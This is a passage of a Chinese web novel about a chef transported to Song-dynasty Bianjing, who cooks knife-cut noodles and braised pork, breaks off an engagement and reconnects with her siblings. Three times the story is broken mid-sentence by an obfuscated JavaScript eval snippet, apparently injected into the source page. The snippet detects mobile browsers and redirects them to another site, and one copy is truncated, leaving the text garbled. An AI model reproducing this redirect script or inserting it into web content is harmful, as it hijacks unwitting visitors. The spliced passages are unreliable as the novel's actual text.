《码头边上小食肆［美食］》 1. 汴京刀削面 汴京是由四条四通发达的水系穿插围绕起来的，分别是汴河，广济河，金水河以及蔡河，漕运相当发达，从全国各地运往新鲜的物件，以及粮食供给汴京的发展。 其中蔡河是在汴京城的外城区，主要承接南北水运，装卸的物资主要是煤炭，粮食，以及南方的一些别的稀罕玩意。 沈嫖穿越过来已经七八天了，原主家就在蔡河码头的新桥巷，占地面积大概有四间厢房的两层小楼，附带后面的一个院子，一家人一般就住在后院的厢房里。 天灰蒙蒙的外面已经热闹起来，外面青石板上有轮子碾压过的声音，卖早饭的小商贩在吆喝，以及门口码头船只上漕工在不停的喊着号子。 现在已经卯时，深秋的清晨有些湿漉漉的雾气，以及略微刺骨的寒意，她从柜子里拿出来加厚里衬的褙子。 床榻上，六岁的沈穗迷迷糊糊的翻个身，沈嫖不自主的放轻了动作，这几日都是她在照顾昏迷的自己，每日都跑进跑出的，跑到外面的小摊去买饭食，还会洗湿帕子给她擦脸擦手，可能父母的接连离世，让她没什么安全感，非常粘人。这几日她都自己乖乖吃饭，洗脸洗手，晚上睡觉时就爬到床上紧紧的挨着自己。 原主五年前丧父，一年前丧母，平日里照顾妹妹，然后就做些缝补，还有去四司做兼职赚钱，十七岁的弟弟读书十分刻苦，已经考入辟雍，并不需要交学费，但这姐弟俩的关系并不好，这一年也就春节时候回来了一趟。 沈嫖给沈穗拉好被子盖好，编起来袖子从房间里出来，左拐弯就直接进了厨房，她上辈子生活在一个御厨的大家族里，因为从小学艺，并不在父母身边，长大后继承酒楼，在厨艺大赛中拿下无数冠军，开了自己的连锁餐饮店，但跟父母感情很疏离，在她十八岁那年，父母又生下了一个妹妹，她甚至都松了一口气，所以穿越过来也并没有什么情感上的不舍。 院子不大不小，有一套深棕色的小方桌，三把小椅子，从厢房到前面小楼的中间铺了石板，右边种的青菜，但大多数还都是夏天的，挂着长不大的豆角，黄瓜纽子，还有半青不红的番茄。 左边是养了五只母鸡，一天也能收两三个鸡蛋，还有一只羊，是贺家跟原主四年前定亲时的聘礼。 沈嫖想到贺家有些可惜原主，就为了一家趋炎附势的小人断送了性命实在不值。 厨房内这几日落了灰尘，她又从头到尾打扫一遍，然后从陶瓮里盛出来面粉。 面粉放到陶盆里，一只手加水，一只揉面，搅拌成絮状，最后揉成面团放到一旁醒着，到已经蔫了的菜地里的番茄摘下两个，两根小葱。 番茄洗干净切成块，小葱也切成小葱段。 沈嫖刚刚收拾厨房的时候，放着两个陶罐，分别是猪油和芝麻油，汴京现在大多数都是用芝麻油，味道香价格也比猪油便宜。 外面天也慢慢亮起来，各种声音也越来越大。 原主家这套房子能以价格偏低被原主爹娘买下，也是因为嘈杂声比较大。 北宋的房子很贵，据记载，汴京内城的一处平常的房屋院子大概一千五百贯，但当时普通文书员的月薪是在三贯，沈嫖想着，时间在变，朝代在变，唯独房价一如既往。 她按照记忆里到鸡圈里去收鸡蛋，这几天她都病在床上，沈穗也没做饭，也没吃鸡蛋，没想到能找出来十几个。 往碗里一口气打上四个，放上盐，碗里加上水，把浮沫撇掉，灶里点火，锅热放上猪油化开，再把番茄放进去，炒到出沙，再加上两瓢水，原主家里用的瓢是大葫芦劈开。一半用来盛水，一半用来来回挖面，大锅里加水，放上篦子，把搅拌好的鸡蛋放上，蹲在灶门前开始烧火，灶内的木柴还是原主买的，柴也几乎没什么剩余。 她在烧水的时候又和三次面，醒三次面，面已经很劲道，等到水烧开，鸡蛋羹也已经蒸好，上面一个小孔都没，澄黄嫩滑，趁着热气，她滴上两滴珍贵的芝麻油，又撒上绿油油的葱花点缀，小小的厨房内弥漫起香气，肚子已经不自觉的咕咕叫起来。 火灶里添上两根木柴烧着，拿起面团放在左手上，右手拿刀削面，面削好，用筷子搅拌两下，盖上锅盖等锅开。 沈嫖一抬头就看到沈穗站在厨房门口，一动不动的，衣裳穿的都有些乱，褙子都没系好，冲着她招手， “怎得不动，可是饿了？” 沈穗原本没什么表情的小脸上听到阿姊的声音，嘴角不自觉的瘪了瘪，蹬蹬跑过来，一下子扑在沈嫖的怀里。 沈嫖伸手抱着她，才发现她瘦的厉害，几乎隔着衣裳都能摸到肋骨，她正想说些什么，就感到脖子上被泪水烫到，她顿了顿。 “阿姊病这几日，我看你都把院子里的鸡和羊都喂养了呢，而且还能照顾阿姊，穗姐儿长大了。” 沈穗过一会才松开胳膊，脸上已经哭的湿漉漉的，还不断的啜泣着。 “阿姊，我害怕，你睡着就再也醒不过来了。” 沈嫖听她断断续续的话，有些不忍心，她脸型是圆的，但因为过于瘦，脸颊上半分多余的肉都没，放低声音，“不会的，阿姊只是生病，以后阿姊都会好好的。” 她说完笑着摸摸沈穗的脑袋， “快去洗漱，早食做好了。” 沈穗像是才闻到香味，肚子直接叫出声音，有些不好意思的红了脸颊，又转身跑出去。 沈嫖拿出来两个碗，掀开锅，面已经熟了，又放上盐和酱油，别的调味料家里也没，据说宋朝一些大酒楼里有自己配的五香粉，她记着这个事，到时候自己也配一些来，又滴上芝麻油，盛出来两碗，都端到外面的小方桌上。 天已经大亮，沈穗自己能把自己照顾的很好，会自己梳头发，穿衣服，洗脸刷牙，原主一般早上在家吃过饭，就要去兼职的四司去忙。 汴京的四司分别是账设，茶酒，厨司，台盘，一般大户人家要办一些宴会，家里的人手不够，就会雇佣他们去到府里帮忙，原主就是在厨司已经干了两年多。 沈穗已经变个样子，头发扎两个小髻子，褙子穿好，裤裙也系好，脸已经洗的干干净净。 沈嫖看她袖子已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665046|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短了，她也很久没添过衣裳，穗姐儿才六岁，但已经在帮着照顾家里，分担很多家务，她心底冒出一股属于原主的酸涩，勉强压了下去。 “先用饭食吧。” 沈穗拿起来筷子先闻着碗里的香味，又看看蒸的鸡蛋羹，开始大口埋头吃起来。 沈嫖一口气吃半碗自己的五脏庙才好受一些，汤底里融合了青番茄的酸味以及面粉的小麦香味，味蕾不断被刺激，这几日都是吃的是穗姐儿从街上买来的干巴巴的油饼，喝点水，这会自己浑身已经暖洋洋的，热气在冷冽的空气中冒出来。 沈穗吃完自己的大半碗，一半的鸡蛋羹也全部吃完，连汤都喝的干干净净，她觉得好好吃，汤里还有些酸味，面条很劲道，两边薄，中间厚，而且喝完以后觉得手也暖和，肚子也暖和，总之全身都很舒服，阿姊的手艺好像比之前好很多，不经意间打一个饱嗝。 外面各家各户也是炊烟升起，有喊孩子回家吃饭的声音，沈嫖今天准备去大相国寺买些菜种，把院子里能过冬的蔬菜都种上。 汴京的大相国寺是每逢初一十五，逢三和八才开市的，卖各种各样的东西，寺庙里还有开办的讲学馆，有丝绸，茶歇，当铺，各种应有尽有。今日正好是十五。 沈嫖开始洗刷碗筷，锅里还剩下的面汤和上麸子全部倒给鸡羊，五只鸡立刻就围到石槽旁，开始吃起来。 外面就响起敲门声。 沈穗跑着去到前门的小楼开口，一层的小楼有两扇门，一扇是隔绝后面的小院，另外一扇是跟外面隔开。 “穗姐儿在家呢？你阿姊的身子可好些了没?” “贺家伯娘好。” “好好，我们穗姐儿还是这么乖。” “你阿姊呢？” 沈穗看着眼前人，声音变低，还有些失落，“阿姊在家。” 未见其人，只闻其声，从她语气上扬的尾调，不难听出她声音里的得意，不一会，一位妇人走了过来。 沈嫖在院子里就看到一个穿着青色褙子，头上一根银钗，紫色的澜裙，手腕处戴着一只素银的镯子，看起来年纪三十多岁，原主未婚夫的亲娘，贺秀枣。 “贺家伯娘好。”她站在原地没动。 贺秀枣也有几日没见过沈嫖了，七日前她来谈退亲，谁知第二日这丫头就高烧不退，她想着这可不好，别亲没退，再出什么事来，昨日听她家隔壁的赵家婶子说好些了，她这就趁着一大早人少才来看看，只是再看这丫头倒跟前几日不一样了，可人站在那里，穿着件浆洗的发白的桃红色褙子，头发用根木簪挽起，脸颊消瘦，不过沈嫖往日里就长得温婉好看，这一病倒是有病西施的感觉了，声音也还是一如既往的温和清淡。 “阿嫖，咱这样的关系，也不必客气。”她忽略心底里的奇怪之处，倒是坦然的坐在院中的小椅子处。 穗姐儿难过的站在原处，沈嫖倒是走过去坐在贺秀枣对面。 贺秀枣皱下眉头，往日里来，沈嫖哪次不是端茶倒水拿出好吃的果子来招待她的，今日怎得这么无礼？ 2. 沈家二郎 沈嫖嘴角嗪着笑，径直走过坐在于秀枣的对面。 “不知贺家伯娘今日来可是有什么事要说呢？”她说完招手让穗姐儿过来坐。 沈穗本来还很难过，阿姊很喜欢贺家大郎，起先她还记得因为这个还跟阿兄吵过架，阿兄很不喜欢贺家大郎。 于秀枣倒是没想到这小妮子大病一场，连亲事都不肯退了，她瞬间就变了脸色。 “你…” 沈嫖见她语气着急，脸色也变了，大概能推测出她到底是个怎么样的人，显然并不是个多沉得住气的人，这么多年的工作经验，她习惯和人谈事时谋定而后动，更何况现在她可还是初来乍到，笑意愈发深， “伯娘急什么，我自然记得，退亲是吧。” 于秀枣本来紧绷的身体听闻她的话，才放松的往后椅背上靠，悠悠开口。 “那正是…” “退亲我应允，就擎等着伯娘写退婚书，我来签字即可。” 于秀枣见她应允的这样快速，倒是放心，说实话沈家早些年还算良缘，现在没了爹娘，还要拉扯一个哥儿一个姐儿的，更不用说要读书，以后还要给穗姐儿置办嫁妆，她简直不能想，想一下几乎晚间都睡不着觉，可同样的门第里又找不到比沈嫖更为出色的小娘子，本来还觉着就算是成婚，一定要把这套房子作为嫁妆，可现在她家大郎可是被书院的博士看上，她想来想去要先把沈嫖踢掉，可又不舍得之前定亲的钱财，可话已经说到这一步，她也没什么好说的，只把定亲时的单子拿出。 “阿嫖，这是你爹娘在时，我与你家的定亲单子，你把这些物件都照常还与我家即可。” 沈嫖早就想到她要作甚，七日前只说出要退亲事，原主就已经哭晕过去，于秀枣都没来得及提起这件事，她打开装模作样的瞧了一眼，又给合上放到桌子上推回到于秀枣的面前。 “贺家伯娘可是欺我家无人，依据本朝律法，若你男方无故退婚，聘礼不得追回，莫非伯娘都忘记了。” 当下的律法规定，若是女方无故退婚，要先挨板子才能继续提退婚。 沈穗懂得虽然不多，但也能多少听得明白，看着阿姊的眼睛冒光，她原以为又是要贺家伯娘像隔壁刘家婶婶的大公鸡一样雄赳赳的回去呢，不由得也挺直了胸膛。 于秀枣倒是气急，直接站起身，一时半晌都发不出一言一语，只指着沈嫖。 “好你个小贱皮子，说到底是你家穷的都揭不开锅了，才要来打我们贺家的聘礼谋算。” “原先我是瞧你温婉识礼才为我家大郎聘了你来的，没成想啊，现如今你可是露出狐狸尾巴。” 沈嫖起身先捂住穗姐儿的耳朵，看她这样气急败坏，一点都不生气，“贺家伯娘可是要到处嚷嚷，若是让邻里听了去，再传来传去，可是要误了贺家大郎的前途，到时到夫子面前说上两句，贺家大郎的亲娘是个藐视本朝律法的人，那可如何呢？” 宋朝十分重视读书人的名声，若有一点不好，就别想做官了。 于秀枣气的脑袋嗡嗡的，这个贱骨头，往日在她面前装的温良恭谦可见都是装的。 “你胡吠些什么？看我不把你嘴皮子撕烂。” 她说着就要上手，沈嫖见此就推着穗姐儿往外跑， “穗姐儿快去外面让街坊邻里来瞧瞧，贺家伯娘要触犯大宋律法了。” 穗姐儿是个机灵的，小腿蹬蹬的就往外面跑，也可能是吃饱的缘故。 “打人了！打人了！” “贺家伯娘发疯起来要打人！” 隔壁的刘家婶婶手中的筷子都没放下，就从他们家里出来，他们两家的房屋格局是一样的，只是院子大小不一样。 “穗姐儿，这是怎么的了？”这几日她也时不时的去照看过沈嫖 ，昨日见她好一些，想着今日一大早还准备来瞧瞧，谁知刚刚做好面汤，就听到穗姐儿在外面大喊。 “刘家婶婶，贺家伯娘来我家退亲，还要我阿姊还聘礼，说不听，就要动手呢。” 这会正是各家各户用早食的时候，要出去干活的还没上工，也是人最齐的。 左边的程家嫂嫂手中还拿着胡饼呢，满眼的着急。 “刘家婶婶，这是弄啥呢？” 说话功夫间，沈嫖就已经跑到外面小楼的大门口，也正是围上一群人的地方，她抬手擦擦眼角。 “贺家伯娘好生厉害，咒骂我无父无母，要来退亲，且要回所有定亲的聘礼。” 原主不仅无父无母，也无祖父母，外祖父母以及各种亲戚，原主爹娘是在慈幼院长大的，相当于现代的孤儿院。 于秀枣眼看着人越来越多，叉着腰一口气差点没上来。 程家嫂嫂看这才几日不见，沈嫖已经瘦的像是一排竹竿，又看于秀枣膀大腰圆的，当下就把沈嫖掩在身后。 “我说贺家婶子，你这是作甚，好好的把退婚书各自签字即可，还要回聘礼，可是没脸了。” 于秀枣掐着腰，“我家事与你有何关系，要你在此开口说话。” 程家嫂嫂也是个嘴皮子厉害的，“哎，你可真是好心当作驴肝肺，那就让阿嫖一纸诉状把你告到开封府衙门吧，看看你家大郎还有啥子前程。” 沈嫖不由得在心底给她鼓掌，打蛇打七寸，她原先就仔细想过，如果因为原主无父无母，那何不一年前就提退婚，还拖上一年这么急哄哄的，可见是贺家大郎有了新的门道。 “若贺家伯娘这般苦苦相逼，我也只能告上衙门，到时候如何收场，就莫怪我了。” 她边说边低头啜泣。 周围的邻居们，都瞧见沈家姐儿大病一场，这身子骨像是一阵风就能吹走似的，都不住的为她说话。 于秀枣想起刚刚在院中看到的那只羊，几年时间已经喂养的膘肥体壮，现在一斤羊肉要百文钱，那只羊要值多少钱啊，十分心痛，正烦闷着。 “娘，您这是在闹什么？” 人群里出来一人，一身青灰色棉布直缀，宽袖长衫，显得文质彬彬，这就是贺家大郎。 于秀枣嘴里一声儿啊，还没说出声，贺家大郎就双手举起行礼。 “是我家母亲行事不当，退婚书我已经写好签字，劳烦沈家大姐儿签字就好，一应聘礼自不会讨要。” 他这一出，周遭的邻居倒是也不多说些什么。 这事眼看着谈妥，邻里们也都散去，四个人进到院子里。 沈嫖识字，细细把退婚书看过，正准备签下字。 “慢着。” 门口一位穿着月白色衣衫的少年皱着眉头， 沈嫖脑袋里跳出来俩字，沈郊，沈家二郎。 贺家大郎笑下，“二郎从书院回来了？可是对退婚书有什么意见？” 沈郊才走上前，看一眼沈嫖过于消瘦的身子，又移过眼神。 穗姐儿倒是过去抱着沈郊的腿，“二哥你终于回来了。” 沈郊眉头未松，只是摸摸穗姐儿的脑袋，然后才抬手算是给贺家大郎见礼。 “贺大哥这亲退的不明不白的，婚约要解，也应当给我家一个说法罢，我家阿姊是十里八乡称赞的好小娘子，不知贺大哥和贺家伯娘为何？” “三年前，贺家伯父新丧，因为守丧，我家阿姊等了三年，我家阿姊这三年不应当有个说法吗？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665047|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈嫖站在一旁未开口，倒是对这位弟弟有了新的认识，礼仪周全，有理有据，是个读书的料子。 贺家伯娘冷哼，“沈家二郎这话说的，还要如何？” “补偿我家阿姊五贯钱，以示你们对我阿姊的愧疚之意。”沈郊说的坦然。 “不可能。”贺家伯娘怒目瞪圆，她辛辛苦苦做一些小活计，一日才能赚一百文钱，一开口就要走她一个多月的。 贺家大郎脸色也不好看。 “那我就要了向林博士好好写上一封信了。”沈郊已经知晓贺家为何退亲，林博士爱女瞧上了贺家大郎，双方已经通气。 贺家大郎皮笑肉不笑的立刻应允， “等我回家，就取五贯钱悉数奉上。” 退婚书签下，贺家母子才回家。 沈郊已经累急，到屋内一连喝了两大碗的茶水。 沈嫖看到他脚上的鞋全是灰尘，从辟雍赶回，且为了省钱没坐任何驴车代步，估摸着卯时不到就起床往回赶了，只靠双腿，得差不多大半个吧。 汴京辟雍是在外城的蔡河湾，虽然和家里都是在蔡河边，但因为河流以及房屋的阻挡，要绕很大一圈才能到家，直线距离近，但绕过一圈也有二三公里。 沈郊困累交加，“阿姊，我先去睡一会，等下午还要赶回辟雍。”他语气间并不热络，说完就径直往自己的那厢房走去。 穗姐儿抬头看看阿姊，又看看二哥的背影。 “阿姊别担心，二哥还是帮咱们的。” 沈嫖点头应下，没一会贺家送来五贯钱，沉甸甸的，她拿回厢房，原主手里还有一些积蓄，加上这五贯，也就十五贯钱，她让穗姐儿在家陪着沈郊，自己进城去。 从新桥巷找到车行，一文钱一个人坐上驴车从南熏门进城，她还挎个小篮子，驴车走的快些，大概两刻钟就到大相国寺，今日是逢集市，简直是人山人海，有各种各样的小商贩在卖菜，还有些挑着扁担的货郎大声吆喝，以及各种吃食，已经是辰时，有远路来的没吃饭食的，在街边就叫上一碗面汤，再来俩馒头，宋朝的馒头是带馅的，热气腾腾的，孩子很多，蹦蹦跳跳的。 沈嫖没耽误时间，买好菜种，到香料铺子上，各种花椒之类的磨成粉的要了一两，香料果真很不便宜，花了三十文呢，又跑到肉贩摊上，汴京是羊贵猪贱，因为很多人觉得猪长大的环境很脏乱，所以不适宜入口，与士大夫阶级来说附庸风雅之事怎么能吃猪肉，也有另外一个原因是膻，现在猪的煽猪技术还不是普遍，但也因为养猪的成本比较大，有些是养殖的是不敢动手煽猪，怕猪就这么死了，连种猪的钱都收不回来，肉摊贩上的猪肉恰巧是没煽过的，她站在摊前听人聊天。 “买煽了的还是要去汴河大街南边的肉行。” “可不是，一会转一圈过去。” 幸好肉行距离大相国寺就隔着汴河大街一条道，她挎着篮子直接步行走过去，肉行挨着就是青鱼市，这里距离南岸角门子倒是近，所以无论是鱼还是肉都十分新鲜，基本上是当天宰杀的。 来买猪肉的大多数都是市井人家，猪肉的价格也就一斤六十文，她要了一斤半，又在街边遇到一位老妇人在卖熟的过火的柿子，那柿子圆润饱满，看起来就知道鲜嫩多汁，是一点都不能压着，不然就要瞬间烂掉，老妇人也是从城外赶路过来的，自家柿树结的格外多。 汴京城外因为是官家的地，荒着也不是个事，索性就让百姓种菜养鸡鸭，时间长了也变成了汴京城的菜篮子，每日寅时城门开启，从南熏门进来，南熏门大街进到内城，有时卖菜的百姓们可能就在外城摆摊直接叫卖，所以这些都新鲜着呢。 3. 浓油赤酱红烧肉 沈嫖回到家里已经到午时了。 沈穗在自家门前蹦蹦跳跳的跟程家嫂嫂的姐儿玩呢，门前码头的漕工和脚夫也都依靠在杨柳树下歇息，也有一些是拿着胡饼在解决午食，有些奢侈的可能到旁边的小馆子区去点上一碗热乎乎的汤饼喝上一碗，也有来一壶十几文的酒，再切上一些凉菜，但这样一顿饭下来没二十文是下不来的，来这里做漕工卖力气干活的，一日也就赚的一百五十文左右，若是要养活一家老小的，自然是怎么节省怎么来了。 原主的爹就是漕工，是厢军剩员，相当于有编制的搬运工，码头来往货船比较多，有官家的也有私家货船，搬运货物的漕工需要的也多，所以会有中介介绍脚夫过来，但结算的工资就没沈父这样的厢军多，厢军还有别的一些福利，比如生病可以到官家设置的安济坊免费看病。 可五年前沈父旧病复发，未能救治来。 而沈母是从事医婆的，专门为一些妇人上门看病，收入也算可以，对于两个都是孤儿出身，无亲戚帮扶的两口子，能有如今的基业，已经是十分的不容易。 穗姐儿看到阿姊回来，立刻就迎了上去。 晌午太阳晒着，也暖和不少。 “阿姊，二哥还没醒呢，他可真能睡啊。” 沈嫖牵上她的小手，“他急匆匆的赶路回来累的狠，让他好好睡吧。” 程家姐儿名字是程月，脸蛋圆润有肉，眼睛亮晶晶的，穿着也比穗姐儿要好很多，平日里跟穗姐儿的关系最好，“穗姐儿，咱们等到半晌去听“说话人”讲故事吧。” 穗姐儿因为要照顾沈家阿姊都好久没跟她一起出去玩了。 沈嫖还没等穗姐儿说话，就替她应下，“好呢，等午睡起，我让穗姐儿去找你玩。” 穗姐儿开心的眼睛都笑成月牙了，她现在很开心，阿姊病好了，二哥也在家，像是娘还在的家一样。 沈嫖看着在码头岸边休息的漕工们，心里也有了盘算。 两姊妹回到家里，穗姐儿看着阿姊篮子里的肉，口水都要流出来了，她们好久好久没吃过肉，她都快忘记肉是什么味道。 沈嫖算一下这一趟出去花了差不多一百多文钱，菜种只花了五文钱。 她先是用陶罐淘洗大米，米价并不贵，差不多平时一百文钱能买三斗米呢，厨房里的炉子搬到院子里点着，让穗姐儿在一旁守着，在陶罐里擦上猪油，再把淘洗的米放进去，温水没过大米，盖上盖子。 一斤半的猪肉，她切下来一斤，把案板搬到外面院子的小桌上，这块五花三层的肉十分漂亮，肉质细腻，切成差不多大的四四方方的小块。 沈嫖一边把买回来的各种香料按照自己的估量配置上，一边看着这个小院子，外面时不时的传来几声鸡叫狗吠，院子里飘出的炊烟，她还准备在院子里也种上一颗柿子树，她的人生格言就是，既然活下去，就要好好活，吃好喝好胜万全嘛。 穗姐儿坐在小木凳上，手中拿着蒲扇时不时的扇下炉子。 沈嫖到厨房里开始刷锅，工具就是丝瓜瓤子。 “阿姊还去四司做工吗？”穗姐儿跑到厨房门口。 沈嫖摇头， “阿姊学到很多手艺，准备在咱们家前的一层小楼里先摆个摊卖些吃食。” 她今早见过沈郊后，觉得沈家目前的发展路线没有错，她在家可以赚钱养家，但希望沈郊能考取功名，将来做个一官半职，她们在汴京也能更好的生活下去。 彼此互相依靠，这并不相悖，她认为在家庭这个组合里，每个人都要有每个人要负起的责任和义务，靠一个人，是走不长的。 而且沈郊并不像原主记忆中的那样凶神恶煞不讲道理一样，相反她很看好他。据原主的记忆中，沈郊自幼就很聪慧，基本过目不忘，从府学到辟雍，在去年才历尽千辛万苦考入辟雍，成为外舍生，想要达到做官还有不少的苦要吃。 切成块的五花肉在凉水里浸泡，去一下血水。 她拿过来竹篮把院子里已经枯萎的豆角黄瓜番茄都择了，连带着竹篮小架子也全都拔掉，豆角她准备洗干净煮好，再晒干，冬日里不论是包包子，还是炖小鸡都是好菜。 黄瓜正好也小，干脆用醋酱油加上饴糖腌制成酸甜口。 汴京的糖都要分三六九等，饴糖是最便宜的，一斤是四十文左右，冰糖一两要百文，实在是贵。 五花肉已经浸泡结束，厨房里把大锅用丝瓜瓤子擦拭干净，灶台里点上火，穗姐儿看外面炉子里火已经着起来，就跑到厨房来帮忙烧火。 沈嫖把浸泡好的五花肉在锅里小火慢煎，要把五花肉上的油脂煎出，她只是低估了古代猪肉的油脂，还盛出来一些放到了油罐里，然后拿出来家里饴糖，慢慢炒化，一直到每块肉上都包裹上酱红色的外衣，再加上温水，然后把自己配好的香粉，酱油倒进去，简易版浓油赤酱的红烧肉大致如此。 两个人干活也快，穗姐儿正说着话一抬头就看到二哥站在门口，高兴的开口。 “二哥，你睡醒了，阿姊说你走着赶路回来，肯定很累，就让你好好睡，阿姊说她做的是菜叫红烧肉呢，是不是可香？” 沈嫖是背对着门口站着的，听到这话回头看一眼沈郊。 沈郊只是嗯下应下穗姐儿的话，只是好奇，她怎么能看出来自己是走着回来的，他上前从怀里掏出来两百文钱，放到灶台旁。 “这是我在书院抄书赚的，你，你给穗姐儿买些布料，做身新衣吧。”他说完就想走。 沈嫖看着铜板，原主记忆里，沈郊自从考入辟雍后从没问家里要过钱，原主娘在时，也就只是给他做好衣裳去书院看他，可原主从没去过，可见他在书院里吃喝笔墨笔砚是全靠自己，即使辟雍是免学费的，那平日的日常吃喝开销呢？竟然也能省下这么多？ 不过从他自己为了省下两文钱，硬是走好几里路来说，能省下来也可能。 “不用，我做工也攒下不少，给穗姐儿还是能买的起布料的，你自己留着吧。” 沈郊并未答话，只是抬手摸摸穗姐儿的脑袋， “兄长要去书院了，你在家照顾好自己，听话。” 沈嫖大概能感觉出，两姐弟都是犟种。 沈穗不舍的抱着他，不让他走。 “你既然回来一趟，也别闲着，那菜地，我打算重新种，需要翻地，你翻一翻地，另外再打两桶水，然后拿着钱去买上些木柴。” 沈嫖一通活安排下来，果不其然，沈郊就先去拿着长柄铁锄去翻地，院子里有水井，打水并不累。 穗姐儿看看阿姊，又看看兄长，一时不知道说些什么。 锅里的红烧肉经过慢火炖煮，又大火收汁，颜色诱人，每一块都吸满了汤汁，盛到盘中淋上锅里浓厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665048|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的酱汁，恰好沈郊已经用小推车把买来的几大捆推到小院里。 一斤五花肉做出来的红烧肉还是很多的，沈嫖用布垫着蒸米饭的陶锅也端到小饭桌上，盛出来三碗米饭，米粒在紧挨着陶锅的部分已经微微黄焦，冒着热气，扑面而来的就是米粒的醇香味，她一时想起纯正的东北五常大米，看到翻好的地，心里挺满意的。 穗姐儿主动过去把沈郊拉到饭桌旁，“二哥快点吃饭吧。”她眼睛眨巴着，一脸认真。 沈郊还没见过这什么红烧肉，只是实在饿的难受，已然前胸贴后背，他回来路上只花两文钱买一块胡饼，三两口就已经吃完，不自在的坐下来。 沈嫖主动递一双筷子给他，沈郊接到手中。 “来，把肉和米饭配着吃更香。” 穗姐儿学着夹起一整块五花肉放到碗里，肉有些烫，但她还是不舍得放下，肉好香，还很烂，后味还有些甜，配着米饭吃更香。阿姊在厨司学的手艺可真好，她从未吃过这么好吃的炖猪肉呢。 沈嫖吃着自己做的饭，还是觉得幸好她学的是厨艺，不然现如今可真是寸步难行。 沈郊吃的最快，闷头就在扒饭。 一时之间院子里静落无声。 沈嫖瞧着坐在自己旁边的沈郊，他长相肖父，原主肖母，可说不上来的，二人眼睛极其相似，可能这就是血缘至亲，十七岁的少年已经长的颇高，自己也只到他肩膀，可身型消瘦，这样的身子板怎么扛得住将来在贡院的考试，她得把沈郊的身体养好，为了自己也为了沈家。 还有就是承了人家的一条性命，总要承这份情。 “好吃吗？” 穗姐儿小脑袋点头如捣蒜。 沈郊一口气吃了两大碗半，沈嫖瞧着陶锅里的米饭幸好蒸的多，肉还剩下一些，三个人都吃的肚圆。 吃过饭沈郊把院子里的鸡圈和羊圈收拾一遍。 沈嫖找出来饭盒，这饭盒还是之前给沈父带饭时用的，后来就是沈母出去行医时用的，剩下的红烧肉跟米饭一起装上，买回来的柿子，揭下皮把已经熟透的柿子放到碗里，连剥了四个大柿子，再放上面粉搅拌均匀，炉子里还有火，上面放上熟铁鏊子，鏊子烧热，擦上一层猪油，一勺柿子面糊放上去，滋啦一声，用铲子翻面，再一点点煎的外焦里嫩，汴京的甜品在制作流程中都十分麻烦，她现在没什么材料，只能简单做出来一点。 穗姐儿在旁边看着，“阿姊，这个好吃吗？” 沈嫖一听就知道她想作甚，先煎出来的一个给她放到小碗里，“去吃吧，小心烫。” 穗姐儿捧着碗，红着脸蛋，今日彷佛是过年，好多好吃的。 煎出来的柿饼把熟透柿子的甜味完全发挥出来，而外面一层焦甜，里面则是流淌的溏心。 这个煎从出来也快，又做出来好几块直接给沈郊放到饭盒里，合上盖子。 “这是给你的，到学院吃，还有这两百文自己留着。”她递给沈郊，见他硬是不收，干脆拿出来一百文，“行，我拿一百文，回去的时候坐驴车，别再腿着走回去了。” 沈郊手中的饭盒沉甸甸的，又点过头，半晌才僵硬开口，“若家中有事，就捎信到书院，我会尽快赶回来。” 沈嫖和沈穗把人送到门口，沈郊提着饭盒走远。 穗姐儿瞧着二哥的背影红了眼睛。 4. 码头饮食文化 汴京人也有午睡的习惯，时间跟现在差不多，劳累一上午睡一觉醒来差不多就到未时。 月姐儿来找穗姐儿出去玩。 沈嫖把煎好的柿饼用油纸包着，让穗姐儿一起带出去，程家嫂嫂这一年来也时常照顾她们姐妹俩。 穗姐儿欢呼着跑着出去，“说话人”就是说书的。 这会街道里全是孩子以及走街串巷的售货郎，各种各样的吆喝声，孩子们玩的最多的还有蹴鞠。 穗姐儿把还热着的柿饼分给月姐儿一份。 “我阿姊做的，非常香。” 月姐儿也不会跟她假客气，她还没吃过，接过来也就咬一小口，甜滋滋糯叽叽的，“哎？这是阿姊的手艺吗？好像比生病之前更好呢。” 穗姐儿也大咬一口，一本正经的点头，又小声说话， “今日我阿姊退婚了，还给我们做了肉吃，还给我二哥带饭食，我阿姊好像有些不一样了，变的更厉害了，但我心里又总有些不舒服。” 她也不知为何会这样？但还是会空落落的。 月姐儿眉头皱的紧紧的，“这不是你以往日日期盼的那样吗？为何会不舒服，小声跟你说，我娘回家跟我爹爹说。沈家大姐儿想明白了，以后日子会越过越畅快的，可能就是如此。” 穗姐儿也没再多想，可能吧，她的心愿就只要阿姊过的高兴就好。 “哎呀，快快，我们往里面挤一挤。” 